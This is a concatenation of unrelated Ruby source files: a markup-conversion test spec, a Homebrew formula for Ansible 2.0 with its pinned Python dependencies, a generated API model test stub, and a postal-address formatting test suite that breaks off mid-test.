require File.expand_path('../../helper', __FILE__) describe 'Zen::Markup' do WebMock.allow_net_connect! it 'Convert Markdown to HTML' do html = Zen::Markup.convert(:markdown, 'hello **world**').strip html.should == '<p>hello <strong>world</strong></p>' end it 'Convert Textile to HTML' do html = Zen::Markup.convert(:textile, 'hello *world*').strip html.should == '<p>hello <strong>world</strong></p>' end it 'Convert HTML to plain text' do text = Zen::Markup.convert(:plain, '<p>hello world</p>').strip text.should == '&lt;p&gt;hello world&lt;&#x2F;p&gt;' end it 'Convert to HTML to HTML' do html = Zen::Markup.convert(:html, '<p>hello world</p>') html.should == '<p>hello world</p>' end it 'Specify a non existing engine' do begin Zen::Markup.convert(:foobar, 'hello') rescue ArgumentError => e e.message.should == 'The specified engine "foobar" is invalid' end end WebMock.disable_net_connect! end
24.8
68
0.643145
389f8ef2ad031ca782c41e90318369eba0443b01
23,829
class AnsibleAT20 < Formula desc "Automate deployment, configuration, and upgrading" homepage "https://www.ansible.com/" url "https://releases.ansible.com/ansible/ansible-2.0.2.0.tar.gz" sha256 "373a2e50319d90da50948e3faf1c033464b7302200e0199da8981d24646d4387" head "https://github.com/ansible/ansible.git", :branch => "stable-2.0" bottle do cellar :any sha256 "d4d13e2de230d2651cc1c6769560c199f654764d0f8d8f6bfb86662708370688" => :sierra sha256 "5d9908b751d32c3b71f1e50560690dcb6e3f77e9151fb4af07d5050c2008843b" => :el_capitan sha256 "e9d440a0b726b66b84e16908fe4bccfe08cd34742641c57254ff1a1397ec1cb7" => :yosemite end devel do url "https://releases.ansible.com/ansible/ansible-2.0.2.0-0.4.rc4.tar.gz" sha256 "b902f974b48bd6867fc5e6770bbc80df5d8af6c5b8f5a831bc8611360af1dc08" version "2.0.2.0-0.4.rc4" end depends_on "pkg-config" => :build depends_on :python if MacOS.version <= :snow_leopard depends_on "libyaml" depends_on "openssl" conflicts_with "ansible", :because => "Differing version of same formula." conflicts_with "[email protected]", :because => "Differing version of same formula." # # ansible (core dependencies) # resource "setuptools" do url "https://pypi.python.org/packages/source/s/setuptools/setuptools-20.8.1.tar.gz" sha256 "f49be4963e2d985bf12768f46cbfe4b016787f2c0ed1f8f62c3d2bc0362586da" end resource "Jinja2" do url "https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.8.tar.gz" sha256 "bc1ff2ff88dbfacefde4ddde471d1417d3b304e8df103a7a9437d47269201bf4" end resource "MarkupSafe" do url "https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.23.tar.gz" sha256 "a4ec1aff59b95a14b45eb2e23761a0179e98319da5a7eb76b56ea8cdc7b871c3" end resource "paramiko" do url "https://pypi.python.org/packages/source/p/paramiko/paramiko-1.16.0.tar.gz" sha256 "3297ebd3cd072f573772f7c7426939a443c62c458d54bb632ff30fd6ecf96892" end resource "pycrypto" do url "https://pypi.python.org/packages/source/p/pycrypto/pycrypto-2.6.1.tar.gz" sha256 "f2ce1e989b272cfcb677616763e0a2e7ec659effa67a88aa92b3a65528f60a3c" end resource "PyYAML" do url "https://pypi.python.org/packages/source/P/PyYAML/PyYAML-3.11.tar.gz" sha256 "c36c938a872e5ff494938b33b14aaa156cb439ec67548fcab3535bb78b0846e8" end # # Required by the 'paramiko' core module # https://github.com/paramiko/paramiko) # resource "ecdsa" do url "https://pypi.python.org/packages/source/e/ecdsa/ecdsa-0.13.tar.gz" sha256 "64cf1ee26d1cde3c73c6d7d107f835fed7c6a2904aef9eac223d57ad800c43fa" end # # Required by the 'uri' core module # See https://docs.ansible.com/uri_module.html#requirements) # resource "httplib2" do url "https://pypi.python.org/packages/source/h/httplib2/httplib2-0.9.2.tar.gz" sha256 "c3aba1c9539711551f4d83e857b316b5134a1c4ddce98a875b7027be7dd6d988" end # # Resources required by docker-py, pyrax, and shade (see below). # Install requests with [security] # resource "cffi" do url "https://pypi.python.org/packages/source/c/cffi/cffi-1.5.2.tar.gz" sha256 "da9bde99872e46f7bb5cff40a9b1cc08406765efafb583c704de108b6cb821dd" end resource "cryptography" do url "https://pypi.python.org/packages/source/c/cryptography/cryptography-1.3.1.tar.gz" sha256 "b4b36175e0f95ddc88435c26dbe3397edce48e2ff5fe41d504cdb3beddcd53e2" end resource "enum34" do url "https://pypi.python.org/packages/source/e/enum34/enum34-1.1.3.tar.gz" sha256 "865506c22462236b3a2e87a7d9587633e18470e7a93a79b594791de2d31e9bc8" end resource "idna" do url "https://pypi.python.org/packages/source/i/idna/idna-2.1.tar.gz" sha256 "ed36f281aebf3cd0797f163bb165d84c31507cedd15928b095b1675e2d04c676" end resource "ipaddress" do url "https://pypi.python.org/packages/source/i/ipaddress/ipaddress-1.0.16.tar.gz" sha256 "5a3182b322a706525c46282ca6f064d27a02cffbd449f9f47416f1dc96aa71b0" end resource "ndg-httpsclient" do url "https://pypi.python.org/packages/source/n/ndg-httpsclient/ndg_httpsclient-0.4.0.tar.gz" sha256 "e8c155fdebd9c4bcb0810b4ed01ae1987554b1ee034dd7532d7b8fdae38a6274" end resource "pyasn1" do url "https://pypi.python.org/packages/source/p/pyasn1/pyasn1-0.1.9.tar.gz" sha256 "853cacd96d1f701ddd67aa03ecc05f51890135b7262e922710112f12a2ed2a7f" end resource "pycparser" do url "https://pypi.python.org/packages/source/p/pycparser/pycparser-2.14.tar.gz" sha256 "7959b4a74abdc27b312fed1c21e6caf9309ce0b29ea86b591fd2e99ecdf27f73" end resource "requests" do url "https://pypi.python.org/packages/source/r/requests/requests-2.9.1.tar.gz" sha256 "c577815dd00f1394203fc44eb979724b098f88264a9ef898ee45b8e5e9cf587f" end resource "requestsexceptions" do url "https://pypi.python.org/packages/source/r/requestsexceptions/requestsexceptions-1.1.1.tar.gz" sha256 "21853958a2245d6dc1c851cf31ccc24ab5142efa67d73cca4b7678f604bbaf52" end resource "six" do url "https://pypi.python.org/packages/source/s/six/six-1.10.0.tar.gz" sha256 "105f8d68616f8248e24bf0e9372ef04d3cc10104f1980f54d57b2ce73a5ad56a" end # # docker-py (for Docker support) # resource "backports.ssl_match_hostname" do url "https://pypi.python.org/packages/source/b/backports.ssl_match_hostname/backports.ssl_match_hostname-3.5.0.1.tar.gz" sha256 "502ad98707319f4a51fa2ca1c677bd659008d27ded9f6380c79e8932e38dcdf2" end resource "docker-py" do url "https://pypi.python.org/packages/source/d/docker-py/docker-py-1.8.0.tar.gz" sha256 "09ccd3522d86ec95c0659887d1da7b2761529020694efb0eeac87074cb4536c2" end resource "websocket-client" do url "https://pypi.python.org/packages/source/w/websocket-client/websocket_client-0.37.0.tar.gz" sha256 "678b246d816b94018af5297e72915160e2feb042e0cde1a9397f502ac3a52f41" end # # pywinrm (for Windows support) # resource "isodate" do url "https://pypi.python.org/packages/source/i/isodate/isodate-0.5.4.tar.gz" sha256 "42105c41d037246dc1987e36d96f3752ffd5c0c24834dd12e4fdbe1e79544e31" end resource "pywinrm" do url "https://pypi.python.org/packages/source/p/pywinrm/pywinrm-0.1.1.tar.gz" sha256 "0230d7e574a5375e8a0b46001a2bce2440aba2b866629342be0360859f8d514d" end resource "xmltodict" do url "https://pypi.python.org/packages/source/x/xmltodict/xmltodict-0.9.2.tar.gz" sha256 "275d1e68c95cd7e3ee703ddc3ea7278e8281f761680d6bdd637bcd00a5c59901" end # # kerberos (for Windows support) # resource "kerberos" do url "https://pypi.python.org/packages/source/k/kerberos/kerberos-1.2.2.tar.gz" sha256 "070ff6d9baf3752323283b1c8ed75e2edd0ec55337359185abf5bb0b617d2f5d" end # # boto/boto3 (for AWS support) # resource "boto" do url "https://pypi.python.org/packages/source/b/boto/boto-2.39.0.tar.gz" sha256 "950c5bf36691df916b94ebc5679fed07f642030d39132454ec178800d5b6c58a" end resource "boto3" do url "https://pypi.python.org/packages/source/b/boto3/boto3-1.3.0.tar.gz" sha256 "8f85b9261a5b4606d883248a59ef1a4e82fd783602dbec8deac4d2ad36a1b6f4" end # # Required by the 'boto3' module # https://github.com/boto/boto3 # resource "botocore" do url "https://pypi.python.org/packages/source/b/botocore/botocore-1.4.11.tar.gz" sha256 "96295db1444e9a458a3018205187ec424213e0a69c937062347f88b7b7e078fb" end resource "docutils" do url "https://pypi.python.org/packages/source/d/docutils/docutils-0.12.tar.gz" sha256 "c7db717810ab6965f66c8cf0398a98c9d8df982da39b4cd7f162911eb89596fa" end resource "jmespath" do url "https://pypi.python.org/packages/source/j/jmespath/jmespath-0.9.0.tar.gz" sha256 "08dfaa06d4397f283a01e57089f3360e3b52b5b9da91a70e1fd91e9f0cdd3d3d" end resource "python-dateutil" do url "https://pypi.python.org/packages/source/p/python-dateutil/python-dateutil-2.5.2.tar.gz" sha256 "063907ef47f6e187b8fe0728952e4effb587a34f2dc356888646f9b71fbb2e4b" end # # apache libcloud (for Google GCE cupport) # resource "apache-libcloud" do url "https://pypi.python.org/packages/source/a/apache-libcloud/apache-libcloud-0.20.1.tar.gz" sha256 "f36dcf8e6a4270c86b521ab4868fd762a7ec217195e126a8ccb028a82cf55466" end # # pyrax (for Rackspace support) # resource "Babel" do url "https://pypi.python.org/packages/source/B/Babel/Babel-2.3.3.tar.gz" sha256 "12dff9afa9c6cd6e2a39960d3cd4b46b2b98768cdc6646833c66b20799c1c58e" end resource "debtcollector" do url "https://pypi.python.org/packages/source/d/debtcollector/debtcollector-1.3.0.tar.gz" sha256 "9a65cf09239eab75b961ef609b3176ed2487bedcfa0a465331661824e1c8db8f" end resource "dnspython" do url "https://pypi.python.org/packages/source/d/dnspython/dnspython-1.12.0.zip" sha256 "63bd1fae61809eedb91f84b2185816fac1270ae51494fbdd36ea25f904a8502f" end resource "funcsigs" do url "https://pypi.python.org/packages/source/f/funcsigs/funcsigs-1.0.0.tar.gz" sha256 "2310f9d4a77c284e920ec572dc2525366a107b08d216ff8dbb891d95b6a77563" end resource "ip_associations_python_novaclient_ext" do url "https://pypi.python.org/packages/source/i/ip_associations_python_novaclient_ext/ip_associations_python_novaclient_ext-0.1.tar.gz" sha256 "a709b8804364afbbab81470b57e8df3f3ea11dff843c6cb4590bbc130cea94f7" end resource "iso8601" do url "https://pypi.python.org/packages/source/i/iso8601/iso8601-0.1.11.tar.gz" sha256 "e8fb52f78880ae063336c94eb5b87b181e6a0cc33a6c008511bac9a6e980ef30" end resource "keyring" do url "https://pypi.python.org/packages/source/k/keyring/keyring-9.0.tar.gz" sha256 "1c1222298da2100128f821c57096c69cb6cec0d22ba3b66c2859ae95ae473799" end resource "keystoneauth1" do url "https://pypi.python.org/packages/source/k/keystoneauth1/keystoneauth1-2.6.0.tar.gz" sha256 "b89a5eab3bb4bd6b36dc0c34903dbc37f531fbef4c74722cc62bffd730d1d854" end resource "mock" do # NOTE: mock versions above 1.0.1 fail to install due to a broken setuptools version check. url "https://pypi.python.org/packages/source/m/mock/mock-1.0.1.tar.gz" sha256 "b839dd2d9c117c701430c149956918a423a9863b48b09c90e30a6013e7d2f44f" end resource "monotonic" do url "https://pypi.python.org/packages/source/m/monotonic/monotonic-1.0.tar.gz" sha256 "47d7d045b3f2a08bffe683d761ef7f9131a2598db1cec7532a06720656cf719d" end resource "msgpack-python" do url "https://pypi.python.org/packages/source/m/msgpack-python/msgpack-python-0.4.7.tar.gz" sha256 "5e001229a54180a02dcdd59db23c9978351af55b1290c27bc549e381f43acd6b" end resource "netaddr" do url "https://pypi.python.org/packages/source/n/netaddr/netaddr-0.7.18.tar.gz" sha256 "a1f5c9fcf75ac2579b9995c843dade33009543c04f218ff7c007b3c81695bd19" end resource "netifaces" do url "https://pypi.python.org/packages/source/n/netifaces/netifaces-0.10.4.tar.gz" sha256 "9656a169cb83da34d732b0eb72b39373d48774aee009a3d1272b7ea2ce109cde" end resource "os_diskconfig_python_novaclient_ext" do url "https://pypi.python.org/packages/source/o/os_diskconfig_python_novaclient_ext/os_diskconfig_python_novaclient_ext-0.1.3.tar.gz" sha256 "e7d19233a7b73c70244d2527d162d8176555698e7c621b41f689be496df15e75" end resource "os_networksv2_python_novaclient_ext" do url "https://pypi.python.org/packages/source/o/os_networksv2_python_novaclient_ext/os_networksv2_python_novaclient_ext-0.25.tar.gz" sha256 "35ba71b027daf4c407d7a2fd94604d0437eea0c1de4d8d5d0f8ab69100834a0f" end resource "os_virtual_interfacesv2_python_novaclient_ext" do url "https://pypi.python.org/packages/source/o/os_virtual_interfacesv2_python_novaclient_ext/os_virtual_interfacesv2_python_novaclient_ext-0.19.tar.gz" sha256 "5171370e5cea447019cee5da22102b7eca4d4a7fb3f12875e2d7658d98462c0a" end resource "oslo.config" do url "https://pypi.python.org/packages/source/o/oslo.config/oslo.config-3.9.0.tar.gz" sha256 "ec7bdf4a3d85f90cf07d2fa03a20783558ad0f490d71bd8faf50bf4ee2923df1" end resource "oslo.i18n" do url "https://pypi.python.org/packages/source/o/oslo.i18n/oslo.i18n-3.5.0.tar.gz" sha256 "5fff5f6ceabed9d09b18d83e049864c29eff038efbbe67e03fe68c49cc189f10" end resource "oslo.serialization" do url "https://pypi.python.org/packages/source/o/oslo.serialization/oslo.serialization-2.4.0.tar.gz" sha256 "9b95fc07310fd6df8cab064f89fd15327b259dec17a2e2b9a07b9ca4d96be0c6" end resource "oslo.utils" do url "https://pypi.python.org/packages/source/o/oslo.utils/oslo.utils-3.8.0.tar.gz" sha256 "c0e935b86e72facc02264271ed09dd9c5879d52452d7a1b4a116a6c7d05077aa" end resource "pbr" do url "https://pypi.python.org/packages/source/p/pbr/pbr-1.9.1.tar.gz" sha256 "3997406c90894ebf3d1371811c1e099721440a901f946ca6dc4383350403ed51" end resource "positional" do url "https://pypi.python.org/packages/source/p/positional/positional-1.0.1.tar.gz" sha256 "54a73f3593c6e30e9cdd0a727503b7c5dddbb75fb78bb681614b08dfde2bc444" end resource "PrettyTable" do url "https://pypi.python.org/packages/source/P/PrettyTable/prettytable-0.7.2.tar.bz2" sha256 "853c116513625c738dc3ce1aee148b5b5757a86727e67eff6502c7ca59d43c36" end resource "pyrax" do url "https://pypi.python.org/packages/source/p/pyrax/pyrax-1.9.7.tar.gz" sha256 "6f2e2bbe9d34541db66f5815ee2016a1366a78a5bf518810d4bd81b71a9bc477" end resource "python-keystoneclient" do url "https://pypi.python.org/packages/source/p/python-keystoneclient/python-keystoneclient-2.3.1.tar.gz" sha256 "89e93551071cf29780eeafe7a61114cd36b1c2192813d3c2a58a348a6a3ac6ff" end resource "python-novaclient" do url "https://pypi.python.org/packages/source/p/python-novaclient/python-novaclient-2.27.0.tar.gz" sha256 "d1279d5c2857cf8c56cb953639b36225bc1fec7fa30ee632940823506a7638ef" end resource "pytz" do url "https://pypi.python.org/packages/source/p/pytz/pytz-2016.3.tar.bz2" sha256 "c193dfa167ac32c8cb96f26cbcd92972591b22bda0bac3effdbdb04de6cc55d6" end resource "rackspace-auth-openstack" do url "https://pypi.python.org/packages/source/r/rackspace-auth-openstack/rackspace-auth-openstack-1.3.tar.gz" sha256 "c4c069eeb1924ea492c50144d8a4f5f1eb0ece945e0c0d60157cabcadff651cd" end resource "rackspace-novaclient" do url "https://pypi.python.org/packages/source/r/rackspace-novaclient/rackspace-novaclient-1.5.tar.gz" sha256 "0fcde7e22594d9710c65e850d11898bd342fa83849dc8ef32c2a94117f7132b1" end resource "rax_default_network_flags_python_novaclient_ext" do url "https://pypi.python.org/packages/source/r/rax_default_network_flags_python_novaclient_ext/rax_default_network_flags_python_novaclient_ext-0.3.2.tar.gz" sha256 "bf18d534f6ab1ca1c82680a71d631babee285257c7d99321413a19d773790915" end resource "rax_scheduled_images_python_novaclient_ext" do url "https://pypi.python.org/packages/source/r/rax_scheduled_images_python_novaclient_ext/rax_scheduled_images_python_novaclient_ext-0.3.1.tar.gz" sha256 "f170cf97b20bdc8a1784cc0b85b70df5eb9b88c3230dab8e68e1863bf3937cdb" end resource "simplejson" do url "https://pypi.python.org/packages/source/s/simplejson/simplejson-3.8.2.tar.gz" sha256 "d58439c548433adcda98e695be53e526ba940a4b9c44fb9a05d92cd495cdd47f" end resource "stevedore" do url "https://pypi.python.org/packages/source/s/stevedore/stevedore-1.10.0.tar.gz" sha256 "f5d689ef38e0ca532d57a03d1ab95e89b17c57f97b58d10c92da94699973779f" end resource "wrapt" do url "https://pypi.python.org/packages/source/w/wrapt/wrapt-1.10.6.tar.gz" sha256 "9576869bb74a43cbb36ee39dc3584e6830b8e5c788e83edf0a397eba807734ab" end # # python-keyczar (for Accelerated Mode support) # resource "python-keyczar" do url "https://pypi.python.org/packages/source/p/python-keyczar/python-keyczar-0.715.tar.gz" sha256 "f43f9f15b0b719de94cab2754dcf78ef63b40ee2a12cea296e7af788b28501bb" end # also required by the htpasswd core module resource "passlib" do url "https://pypi.python.org/packages/source/p/passlib/passlib-1.6.5.tar.gz" sha256 "a83d34f53dc9b17aa42c9a35c3fbcc5120f3fcb07f7f8721ec45e6a27be347fc" end # # shade (for OpenStack support) # resource "anyjson" do url "https://pypi.python.org/packages/source/a/anyjson/anyjson-0.3.3.tar.gz" sha256 "37812d863c9ad3e35c0734c42e0bf0320ce8c3bed82cd20ad54cb34d158157ba" end resource "appdirs" do url "https://pypi.python.org/packages/source/a/appdirs/appdirs-1.4.0.tar.gz" sha256 "8fc245efb4387a4e3e0ac8ebcc704582df7d72ff6a42a53f5600bbb18fdaadc5" end resource "cliff" do url "https://pypi.python.org/packages/source/c/cliff/cliff-1.15.0.tar.gz" sha256 "f5ba6fe0940547549947d5a24ca3354145a603d3a9ba054f209d20b66dc02be7" end resource "cmd2" do url "https://pypi.python.org/packages/source/c/cmd2/cmd2-0.6.8.tar.gz" sha256 "ac780d8c31fc107bf6b4edcbcea711de4ff776d59d89bb167f8819d2d83764a8" end resource "decorator" do url "https://pypi.python.org/packages/source/d/decorator/decorator-4.0.6.tar.gz" sha256 "1c6254597777fd003da2e8fb503c3dbf3d9e8f8d55f054709c0e65be3467209c" end resource "dogpile" do url "https://pypi.python.org/packages/source/d/dogpile/dogpile-0.2.2.tar.gz" sha256 "bce7e7145054af20d4bef01c7b2fb4266fa88dca107ed246c395558a824e9bf0" end resource "dogpile.cache" do url "https://pypi.python.org/packages/source/d/dogpile.cache/dogpile.cache-0.5.7.tar.gz" sha256 "dcf99b09ddf3d8216b1b4378100eb0235619612fb0e6300ba5d74f10962d0956" end resource "dogpile.core" do url "https://pypi.python.org/packages/source/d/dogpile.core/dogpile.core-0.4.1.tar.gz" sha256 "be652fb11a8eaf66f7e5c94d418d2eaa60a2fe81dae500f3743a863cc9dbed76" end resource "functools32" do url "https://pypi.python.org/packages/source/f/functools32/functools32-3.2.3-2.tar.gz" sha256 "f6253dfbe0538ad2e387bd8fdfd9293c925d63553f5813c4e587745416501e6d" end resource "futures" do url "https://pypi.python.org/packages/source/f/futures/futures-3.0.4.tar.gz" sha256 "19485d83f7bd2151c0aeaf88fbba3ee50dadfb222ffc3b66a344ef4952b782a3" end resource "jsonpatch" do url "https://pypi.python.org/packages/source/j/jsonpatch/jsonpatch-1.12.tar.gz" sha256 "2e1eb457f9c8dd5dae837ca93c0fe5bd2522c9d44b9b380fb1aab2ab4dec04b1" end resource "jsonpointer" do url "https://pypi.python.org/packages/source/j/jsonpointer/jsonpointer-1.10.tar.gz" sha256 "9fa5dcac35eefd53e25d6cd4c310d963c9f0b897641772cd6e5e7b89df7ee0b1" end resource "jsonschema" do url "https://pypi.python.org/packages/source/j/jsonschema/jsonschema-2.5.1.tar.gz" sha256 "36673ac378feed3daa5956276a829699056523d7961027911f064b52255ead41" end resource "lxml" do url "https://pypi.python.org/packages/source/l/lxml/lxml-3.4.4.tar.gz" sha256 "b3d362bac471172747cda3513238f115cbd6c5f8b8e6319bf6a97a7892724099" end resource "munch" do url "https://pypi.python.org/packages/source/m/munch/munch-2.0.4.tar.gz" sha256 "1420683a94f3a2ffc77935ddd28aa9ccb540dd02b75e02ed7ea863db437ab8b2" end resource "os-client-config" do url "https://pypi.python.org/packages/source/o/os-client-config/os-client-config-1.14.0.tar.gz" sha256 "d12e92d461abbba9f87d722a28927ba4241d29abbaea520f2a44146b9eeec118" end resource "pyOpenSSL" do url "https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.15.1.tar.gz" sha256 "f0a26070d6db0881de8bcc7846934b7c3c930d8f9c79d45883ee48984bc0d672" end resource "python-cinderclient" do url "https://pypi.python.org/packages/source/p/python-cinderclient/python-cinderclient-1.5.0.tar.gz" sha256 "4c4f5f4500afa2d3b6de183a0da573b6a04d18c92d01cc27dd29d0b5ec815d60" end resource "python-designateclient" do url "https://pypi.python.org/packages/source/p/python-designateclient/python-designateclient-1.5.0.tar.gz" sha256 "bbd93cca7eb966a270b5c49247b12fb2bf8fbb80a8577574d5c1bc8812de9cf2" end resource "python-glanceclient" do url "https://pypi.python.org/packages/source/p/python-glanceclient/python-glanceclient-1.1.0.tar.gz" sha256 "59ff30927468215131a68ffbfb9b2cb15d636a17cf702d87d0370957b553f25e" end resource "python-heatclient" do url "https://pypi.python.org/packages/source/p/python-heatclient/python-heatclient-0.9.0.tar.gz" sha256 "3a393de49239c3e6a82e2ce819684f262cb6f48ec70542d1d3dfb7aa690c7574" end resource "python-ironicclient" do url "https://pypi.python.org/packages/source/p/python-ironicclient/python-ironicclient-1.1.0.tar.gz" sha256 "4c83c4799f4a52f3ad1167ae66214265ec4bba3eab4b9518b0ff003662f40f4a" end resource "python-neutronclient" do url "https://pypi.python.org/packages/source/p/python-neutronclient/python-neutronclient-4.0.0.tar.gz" sha256 "13f4255b698bfcb19acbc8b2550ea10fd41f64e39b7951f0f2af8bec4f077191" end resource "python-openstackclient" do url "https://pypi.python.org/packages/source/p/python-openstackclient/python-openstackclient-2.0.0.tar.gz" sha256 "f89d838966fd3a6fbdc635f82ba91d5318292cef851a084e8fa01fcbf4bef62f" end resource "python-swiftclient" do url "https://pypi.python.org/packages/source/p/python-swiftclient/python-swiftclient-2.7.0.tar.gz" sha256 "013f3d8296f5b4342341e086e95c4a1fc85a24caa22a9bcc7de6716b20de2a55" end resource "python-troveclient" do url "https://pypi.python.org/packages/source/p/python-troveclient/python-troveclient-2.0.0.tar.gz" sha256 "43e7116c23f0e533560df5cbc3dbfb5e6db6ea779f7f32e31ba4ff8c038145f5" end resource "shade" do url "https://pypi.python.org/packages/source/s/shade/shade-1.4.0.tar.gz" sha256 "ad94109d9f1379104cfeee9f7de0b16741b50f1d9c99fa662717861ca8ed1981" end resource "unicodecsv" do url "https://pypi.python.org/packages/source/u/unicodecsv/unicodecsv-0.14.1.tar.gz" sha256 "018c08037d48649a0412063ff4eda26eaa81eff1546dbffa51fa5293276ff7fc" end resource "warlock" do url "https://pypi.python.org/packages/source/w/warlock/warlock-1.2.0.tar.gz" sha256 "7c0d17891e14cf77e13a598edecc9f4682a5bc8a219dc84c139c5ba02789ef5a" end def install vendor_site_packages = libexec/"vendor/lib/python2.7/site-packages" ENV.prepend_create_path "PYTHONPATH", vendor_site_packages ENV.delete "SDKROOT" resources.each do |r| r.stage do system "python", *Language::Python.setup_install_args(libexec/"vendor") end end # ndg is a namespace package touch vendor_site_packages/"ndg/__init__.py" inreplace "lib/ansible/constants.py" do |s| s.gsub! "/usr/share/ansible", pkgshare s.gsub! "/etc/ansible", etc/"ansible" end ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages" system "python", *Language::Python.setup_install_args(libexec) man1.install Dir["docs/man/man1/*.1"] bin.install Dir["#{libexec}/bin/*"] bin.env_script_all_files(libexec/"bin", :PYTHONPATH => ENV["PYTHONPATH"]) end def caveats; <<-EOS.undent Homebrew writes wrapper scripts that set PYTHONPATH in ansible's execution environment, which is inherited by Python scripts invoked by ansible. If this causes problems, you can modify your playbooks to invoke python with -E, which causes python to ignore PYTHONPATH. EOS end test do ENV["ANSIBLE_REMOTE_TEMP"] = testpath/"tmp" (testpath/"playbook.yml").write <<-EOF.undent --- - hosts: all gather_facts: False tasks: - name: ping ping: EOF (testpath/"hosts.ini").write "localhost ansible_connection=local\n" system bin/"ansible-playbook", testpath/"playbook.yml", "-i", testpath/"hosts.ini" end end
38.809446
160
0.777498
5da61e5c3fdeefb47c8ca72a58fa14a743651691
54
json.extract! @current, :id, :created_at, :updated_at
27
53
0.740741
e23e49cfcf2af62013ee44624ca45a34be27a62a
1,217
=begin #Flip API #Description OpenAPI spec version: 2.0.1 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.3.1 =end require 'spec_helper' require 'json' require 'date' # Unit tests for TelestreamCloud::Flip::UpdateEncodingBody # Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen) # Please update as you see appropriate describe 'UpdateEncodingBody' do before do # run before each test @instance = TelestreamCloud::Flip::UpdateEncodingBody.new end after do # run after each test end describe 'test an instance of UpdateEncodingBody' do it 'should create an instance of UpdateEncodingBody' do expect(@instance).to be_instance_of(TelestreamCloud::Flip::UpdateEncodingBody) end end describe 'test attribute "profile_id"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "profile_name"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
24.836735
103
0.74281
08d4420c112e4a4bb7ef8185e081c0397bc66072
6,019
require File.dirname(__FILE__) + '/test_helper' class SnailTest < Snail::TestCase def setup @us = {:name => "John Doe", :line_1 => "12345 5th St", :city => "Somewheres", :state => "NY", :zip => "12345", :country => 'USA'} @ca = {:name => "John Doe", :line_1 => "12345 5th St", :city => "Somewheres", :state => "NY", :zip => "12345", :country => 'CAN'} @ie = {:name => "John Doe", :line_1 => "12345 5th St", :city => "Somewheres", :region => "Dublin", :zip => "12345", :country => 'IE'} end test "provides region codes via 2-digit iso country code" do assert_equal "WA", Snail::REGIONS[:us]["Washington"] assert_equal "WA", Snail::REGIONS[:au]["Western Australia"] assert_equal "BC", Snail::REGIONS[:ca]["British Columbia"] assert_equal "Cork", Snail::REGIONS[:ie]["Cork"] end ## ## Configuration ## test "initializes from a hash" do s = Snail.new(:name => "John Doe", :city => "Somewheres") assert_equal 'John Doe', s.name assert_equal 'Somewheres', s.city end test "aliases common street names" do assert_equal Snail.new(:street_1 => "123 Foo St").line_1, Snail.new(:line_1 => "123 Foo St").line_1 end test "aliases common city synonyms" do assert_equal Snail.new(:town => "Somewheres").city, Snail.new(:city => "Somewheres").city assert_equal Snail.new(:locality => "Somewheres").city, Snail.new(:city => "Somewheres").city end test "aliases common region synonyms" do assert_equal Snail.new(:state => "Somewheres").region, Snail.new(:region => "Somewheres").region assert_equal Snail.new(:province => "Somewheres").region, Snail.new(:region => "Somewheres").region end test "aliases common postal code synonyms" do assert_equal Snail.new(:zip => "12345").postal_code, Snail.new(:postal_code => "12345").postal_code assert_equal Snail.new(:zip_code => "12345").postal_code, Snail.new(:postal_code => "12345").postal_code assert_equal Snail.new(:postcode => "12345").postal_code, Snail.new(:postal_code => "12345").postal_code end ## ## Country Normalization ## test "normalize alpha3 to alpha2" do s = Snail.new(@ca.merge(:country => 'SVN')) assert_equal "SI", s.country end test "normalize alpha2 exceptions to alpha2" do s = Snail.new(@ca.merge(:country => 'UK')) assert_equal "GB", s.country end test "leave alpha2 as alpha2" do s = Snail.new(@ca.merge(:country => 'GB')) assert_equal "GB", s.country end ## ## Formatting ## test "includes two spaces between region and zip for domestic mail" do s = Snail.new(@us) assert s.city_line.match(/NY 12345/) end test "does not include country name for domestic addresses by default" do s = Snail.new(@us.merge(:origin => 'US')) assert !s.to_s.match(/United States/i) s = Snail.new(@ca.merge(:origin => 'CA')) assert !s.to_s.match(/Canada/i) end test "includes country name for domestic addresses if with_country parameter is true" do s = Snail.new(@us.merge(:origin => 'US')) assert s.to_s(with_country: true).match(/United States/i) s = Snail.new(@ca.merge(:origin => 'CA')) assert s.to_s(with_country: true).match(/Canada/i) end test "does not include country name for domestic addresses if with_country parameter is false" do s = Snail.new(@us.merge(:origin => 'US')) assert !s.to_s(with_country: false).match(/United States/i) s = Snail.new(@ca.merge(:origin => 'CA')) assert !s.to_s(with_country: false).match(/Canada/i) end test "includes country name for international addresses by default" do s = Snail.new(@us.merge(:origin => 'CA')) assert s.to_s.match(/United States/i) s = Snail.new(@ca.merge(:origin => 'US')) assert s.to_s.match(/Canada/i) end test "includes country name for international addresses if with_country parameter is true" do s = Snail.new(@us.merge(:origin => 'CA')) assert s.to_s(with_country: true).match(/United States/i) s = Snail.new(@ca.merge(:origin => 'US')) assert s.to_s(with_country: true).match(/Canada/i) end test "does not include country name for international addresses if with_country parameter is false" do s = Snail.new(@us.merge(:origin => 'CA')) assert !s.to_s(with_country: false).match(/United States/i) s = Snail.new(@ca.merge(:origin => 'US')) assert !s.to_s(with_country: false).match(/Canada/i) end test "includes translated country name for international addresses" do s = Snail.new(@us.merge(:origin => 'FR')) assert s.to_s.match(/ÉTATS-UNIS/i) s = Snail.new(@ca.merge(:origin => 'EC')) assert s.to_s.match(/CANADÁ/i) end test "includes first country name for countries with many commonly used names" do s = Snail.new(@ca.merge(:country => 'UK')) assert s.to_s.match(/United Kingdom\Z/i), s.to_s end test "output ok if country is nil" do s = Snail.new(@ca.merge(:country => nil)) assert s.to_s[-5,5] == "12345" end test "country names are uppercased" do s = Snail.new(@ca) assert s.to_s.match(/CANADA/), s.to_s end test "empty lines are removed" do s = Snail.new(@us.merge(:line_1 => "")) assert !s.to_s.match(/^$/) end test "to_s" do s = Snail.new(@ca) assert_equal "John Doe\n12345 5th St\nSomewheres NY 12345\nCANADA", s.to_s end test "to_s ireland doesn't show a linebreak if zip is empty" do s = Snail.new(@ie.merge(:zip => "")) puts s.to_s assert_equal "John Doe\n12345 5th St\nSomewheres, Dublin\nIRELAND", s.to_s end test "to_html" do s = Snail.new(@ca) s.name = 'John & Jane Doe' 